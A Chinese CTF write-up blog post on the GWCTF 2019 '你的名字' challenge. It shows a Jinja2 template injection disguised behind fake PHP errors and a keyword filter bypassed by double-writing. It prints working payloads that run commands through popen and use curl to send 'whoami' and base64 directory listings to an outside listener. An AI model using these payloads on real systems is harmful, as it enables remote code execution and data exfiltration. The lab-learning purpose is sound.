BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习

本文记录了作者在GWCTF 2019比赛中遇到的一道关于SS TI(Server-Side Template Injection)的问题。在尝试通过抓包和扫目录寻找突破口未果后,作者转向了SSTI注入,并遇到了中文处理和PHP报错的挑战。通过学习Write-up,作者了解到题目中的PHP错误信息是误导,进一步研究了如何绕过过滤机制。最终,利用双写绕过策略构造了payload,但遇到了命令过滤问题,需要进一步的爆破或测试来解决。

参考:https://www.cnblogs.com/karsa/p/13523730.html

一、自己做:

抓包没啥,除非要扫目录,
在这里插入图片描述啊,,就是直接返回的逻辑,,xss也是直接返回,也就说明有某些机制了,然后想去闭合一些标签,但是都没成功,</div>,</h1>,这些,

在这里插入图片描述
感觉没思路了,,扫扫目录把。

别了,想到了ssti,试了一下:{{2*2}},报错了

Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13

而且,还不能处理中文??啊手动阀
在这里插入图片描述
一个{不报错,{{两个就报错,这是为什么,,,可能是PHP中输出变量用了{}来包裹起来了??

在这里插入图片描述
这样,突破点想不到,那就想想有什么危害把,

在这里插入图片描述

看WP把。。啊,,这个题是真的狗,,,

二、学到的&&不足:

三、学习WP:

啊,,WP说是SSTI注入,但是过滤了{{。。吐了要用{%。但是这里的报错是PHP的报错呀,,

作者说加了个php模式的报错和index.php路由。好吧,直接被骗到了。其实这里也能猜到可能是故意迷惑的,继续往下走。

测试发现{{会被过滤,然后就看bypass的payload,,,low的很,找前辈们写的SSTI绕过,看这个

直接用文章中payload打:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl https://qwert.free.beeceptor.com/?i=`whoami`').read()=='p' %}1{% endif %}

报错了,可能时有什么过滤,
在这里插入图片描述
然后爆破fuzz或者手动测试。

发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想

os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen

payload:

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}

注意,这里有几个点:

1. 所有被过滤的关键词都要进行相应替换
2. 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
3. ls /是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录。
4. ls / |base64  要用反引号括起来,

监听靶机
在这里插入图片描述
解码后是这个,

app
bin
boot
dev
etc
flag_1s_Hera
home
lib
lib64
media
mn

然后换一下命令就好了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值